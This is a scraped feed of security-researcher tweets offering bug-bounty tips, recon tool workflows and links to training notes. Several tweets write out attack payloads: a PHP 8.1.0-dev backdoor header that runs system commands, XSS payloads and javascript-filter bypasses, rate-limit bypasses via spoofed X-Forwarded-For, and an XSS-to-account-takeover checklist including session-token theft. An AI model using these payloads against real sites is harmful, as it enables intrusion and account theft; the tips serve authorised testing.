KickAss101

[KickAss101 @KickAss101_]

Woot Woot! Completed the Attacking and Defending Active Directory Lab from #AlteredSecurity! https://t.co/NqWkH4ZHOr #ADLab #EnterpriseSecurity via @alteredsecurity cc @nikhil_mitt

[Aditya @ADITYASHENDE17]

Rate Limiting Bypass
IP Rotation --> Sending new ip's
Null byte -- %00,%0d%0a,%09
exapmple:email:[email protected]%00
4. X-Forwarded-For: IP
ex:X-Forwarded-For: 127.0.0.1
5. Double X forward option
ex: X-Forwarded-For:
X-Forwarded-For:127.0.0.1

[JS0N Haddix @Jhaddix]

@hakluke Worked with @G0LDEN_infosec to make:

https://t.co/uiHZlEZYIB

Scans SSL certs across IP ranges for domain info.

Faster than any tool out there atm.

Can scan all the clouds in 2.2hrs

All IPV4 space in 3 days

[Godfather Orwa 🇯🇴 @GodfatherOrwa]

Slides of my talk in @bsidesahmedabad
you can downloaded form here
https://t.co/GUO3PUFSjH

#bugbountytips #bugbountytip

happy hunting

[X @TheMsterDoctor1]

Free Offensive Security Notes (OSCP, OSWE, OSEP, OSED)

OSCP NOTES AD:
https://t.co/vuDthOg2UZ

OSCP Notes :
https://t.co/IhTusheM6q

OSWE Notes:
https://t.co/C0mHqY7SaA

OSEP Notes:
https://t.co/BTwIQFM1Un

OSED Notes:
https://t.co/lf976fklTl

#oscp #osed #oswe #osep #osce³ #pentest #hacking #infosecnotes #cybersecurity @elvtnx

[JS0N Haddix @Jhaddix]

- Run all your subdomain tools
- uniq them
- Pass that list to: "amass enum -nf domains.txt" to insert them into the amass database.

Then track new findings each day via:

amass track -d https://t.co/PJOG8MCAFq | grep "Found"

#bugbountytips #bugbountytip

thanks @jeff_foley

[𝐑𝐀𝐢𝐡𝐚𝐧 @zapstiko]

If you find PHP 8.1.0-dev then try RCE & SQLi
User-Agentt: zerodiumsleep(5);
User-Agentt: zerodiumsystem('id');

#bugbounty #bugbountytips #rce #sqli

[7h3h4ckv157 @7h3h4ckv157]

Red-Team-Assessment 🔥

Important documents for you to start a Red Team management

Source: https://t.co/dvO3IvuYie

CC: @C0d3Cr4zy

#redteam #infosec #Pentesting #Hacking

[Today Cyber News @TodayCyberNews]

Bug Bounty Tips by proglib_adv

👾 If you can embed <a>, <iframe>, <object>, and <embed> tags but block "javascript:" & "data:"

👉 try the following obfuscation techniques:

java%00script:
java%0Ascript:
java&tab;script:

📌Example:
<a href="java%0Ascript:al%0Aert()">click</a>

👀 Check Out Old Tweets Of @TodayCyberNews

#CyberSecurity #bugbountytips #BugBounty #infosec #Pentesting

[XSS Payloads @XssPayloads]

Nice litle one by @elber333
/?xss=&lt;svg/onload=eval(`'`+URL)&gt;#';alert(document.domain)

[KickAss101 @KickAss101_]

@bxmbn @Hacker0x01 hire me as your intern triager 😄 I will be quick to triage in short time as possible

[ProjectDiscovery @pdiscoveryio]

Get CIDR ranges owned by an organisation with asnmap, extract domain names using dnsx then check for CDNs, WAFs and cloud providers with cdncheck! 💡

Install these tools:
asnmap 👉 https://t.co/EGWR8fPJ2a
dnsx 👉 https://t.co/1319t7GcEd
cdncheck 👉 https://t.co/Pc4qruBhMi

[Clandestine @akaclandestine]

GitHub - s-rah/onionscan: OnionScan is a free and open source tool for investigating the Dark Web. https://t.co/U1gjVP0nkK

[Hakin9 @Hakin9]

Bluetooth Low Energy Hacking - Download a FREE preview and check the articles inside.

https://t.co/Wupl0Npkwl

#infosec #cybersecurity #redteam #pentest #pentesting #hacking #hackers #coding #opensource #Linux #windows

[Noy Pearl @NoyPearl]

I built animal RFID scanner that shows you instantly the owner’s phone number (and a few other details) for lost dogs.

POC video - https://t.co/YY9Xk2a8o9
GitHub repo - https://t.co/OGQgMF3XJA
Writeup - https://t.co/DFLnrTFzKM

#hardware #RaspberryPi

[Justin Gardner @Rhynorater]

XSS -> ATO Escalation Brain Dump:
* Change email -> password reset
* Change password
* Change phone -> SMS password reset
* Change security questions
* Add SSO login (login with GitHub, ect)
* Force logout -> Session Fixation
* Steal session token via non-HTTP only cookie
* Steal session token via insecure embed in page
* Steal API key for application
* Add admin user to organization
* Hijack oAuth flow and steal code
* Steal SSO code to adjacent app, then reverse SSO back to main app
* Add authentication method (SMS, email, etc)
* Gain access to refresh token for JWT or session

Got any more?

[Hossam A. Mesbah 🇵🇸 @m359ah]

Delete any user account without user interaction
The database accepts string as it without convert it to lowercase string

1. Create a normal email ex. [email protected]
2. After the email created I able to bypass verify too
#bugbountytip #BugBounty #bugbountytips
👇👇

[JS0N Haddix @Jhaddix]

Still one of the best talks on contextual and missed vulns I've seen by @albinowax

🧩 Hunting Evasive Vulnerabilities: Finding Flaws That Others Miss

https://t.co/owilrhm0VL

[/ XNL -н4cĸ3r (and @xnl-h4ck3r in the new Sky) @xnl_h4ck3r]

You can do so much with the Burp Piper extension:
Why not send a JS file straight to the new JSluice tool using Piper extension and a small bit of bash script?...
🤘
#bugbountytips

[Yassine Aboukir 🐐 @Yassineaboukir]

I’ll be back at @bsidesahmedabad this year and I’ve got two spare tickets to giveaway.

Just like and retweet this post so I’m able to fairly and randomly choose someone on Sunday.